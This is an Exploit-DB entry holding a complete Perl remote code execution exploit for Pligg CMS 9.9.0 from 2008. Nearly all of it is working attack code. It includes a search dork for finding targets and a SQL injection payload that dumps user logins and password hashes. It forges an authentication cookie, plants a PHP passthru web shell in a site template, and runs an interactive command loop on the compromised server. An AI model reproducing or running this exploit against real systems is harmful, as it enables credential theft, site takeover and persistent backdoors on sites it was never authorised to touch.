Exploit-DB #6172
Description: Pligg CMS 9.9.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2008-07-30
Author: GulfTech Security

Exploit:
#!/usr/bin/perl -w
use LWP::UserAgent;
use MIME::Base64;
use Digest::MD5 qw(md5_hex);
use Getopt::Std; getopts('h:', \%args);

print "#############################################\n";
print "# Pligg <= 9.9 Remote Code Execution Exploit \n";
print "#############################################\n";
#dork = "Powered By Pligg" + "Legal: License and Source"

# Proxy address
$ENV{http_proxy} = 'http://127.0.0.1:8118/';

my $http = LWP::UserAgent->new;
   $http->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/[PII_REDACTED] Firefox/3.0.1');
   #$http->env_proxy(); # <-- uncomment for proxy
   $http->cookie_jar({});

my $host = $args{'h'} || usage(); # Host flag. Specify the Pligg root directory
my $user = undef;
my $pass = undef;
my $file = undef;
my $data = undef;
my @auth = undef;

# Details for the php code that is injected in to the template
my $ereg = '<cmdout>(.*?)<\/cmdout>';
my $cvar = 'cmd';
my $cval = 'pwd;id';
my $code = '<cmdout><?php if ( !empty($_REQUEST["' . $cvar . '"]) ) passthru($_REQUEST["' . $cvar . '"]); ?></cmdout>';

print "[*] Checking if a shell already exists ...\n";

$data = $http->post(
$host . '/index.php',
[
   $cvar  => $cval
]); 

if ( $data->content =~ /$ereg/si ) 
{
	print "[*] Found existing shell ...\n";
}
else
{
	print "[!] No existing shell found ...\n";

	#############################################
	# Gather user info via vote.php SQL Injection
	#############################################

	$data = $http->post(
	$host . '/vote.php',
	[
	   'id'  => '-99 UNION SELECT 1,2,3,null,5,6,concat(user_login,char(58),user_pass),8,9 FROM pligg_users -- /*',
	   'md5' => 'd41d8cd98f00b204e9800998ecf8427e' # <-- If you aren't logged in this always works
	]); 

	print "[*] Gathering user information ...\n";
		
	if ( $data->content =~ /(.*?):([a-f0-9]{1,64})/i )
	{
		$user = $1;
		$pass = $2;

		# Sets up the cookie to authenticate us
		@auth = ('Cookie' => 'mnm_user=' . $user . '; mnm_key=' . encode_base64($user . ':' . crypt($user, 22) . ':' . md5_hex($pass)) . ';');

		print "[+] Got user '$user' ...\n";

	}
	else
	{
		print "[!] Unable to get user info. Dumping output ...\n";
		open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
		exit;
	}

	#############################################
	# Get the template path
	#############################################

	print "[*] Gathering template information ...\n";

	$data = $http->get($host . '/admin_editor.php',@auth); 

	if ( $data->content =~ />(.*?)<\/option>/i ) 
	{
		$file = $1;
		# Quick and dirty fix
		$file =~ s/admin_templates\/admin_access_denied.tpl/footer.tpl/;
		print "[+] Got template file [$file]...\n";
	}

	#############################################
	# Read the template contents
	#############################################

	$data = $http->post(
	$host . '/admin_editor.php',
	[
	   'the_file'  => $file,
	   'open' => 'Open'
	]
	,@auth); 

	print "[*] Reading template data ...\n";

	# Grab the template contents	
	if ( $data->content =~ /<textarea(.*)>(.*)<\/textarea>/is )
	{
		$temp = $2;
		$temp =~ s/>/>/ig;
		$temp =~ s/</</ig;
		$temp =~ s/"/"/ig;
		$temp =~ s/&/&/ig;

		print "[+] Got template data ...\n";
	}
	else
	{
		print "[!] Unable to get template data. Dumping output ...\n";
		open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
		exit;
	}

	#############################################
	# Update the Template Contents
	#############################################


	$data = $http->post(
	$host . '/admin_editor.php',
	[
	   'the_file2'   => $file,
	   'updatedfile' => $temp . $code,
	   'save'        => 'Save+Changes'
	]
	,@auth); 

	print "[*] Updating template data ...\n";

	if ( $data->content =~ /File Saved/is )
	{
		print "[+] File saved!\n";
	}
	else
	{
		print "[!] Unable to update template data. Dumping output ...\n";
		open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
		exit;
	}
}

#############################################
# Setting up the php shell
#############################################

print "[*] Setting up shell ...\n";

$data = $http->post(
$host . '/index.php',
[
   $cvar  => $cval
]); 

if ( $data->content =~ /<cmdout>(.*?)<\/cmdout>/si ) 
{
	while ( 1 )
	{
		print "pligg:~#";
		$exec = <STDIN>;

		$data = $http->post(
		$host . '/index.php',
		[
		   $cvar  => $exec
		]); 

		if ( $data->content =~ /$ereg/si ) 
		{
			print $1 . "\n";
		}
		else
		{
			print "Unexpected Response!\n";
		}
	}
}
else
{
	print "[!] Unable to set up shell ...\n";
	open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
	exit;
}

sub usage
{
	print "pligg_exploit.pl -h http://path/to/pligg     \n";
	exit;
}

# milw0rm.com [2008-07-30]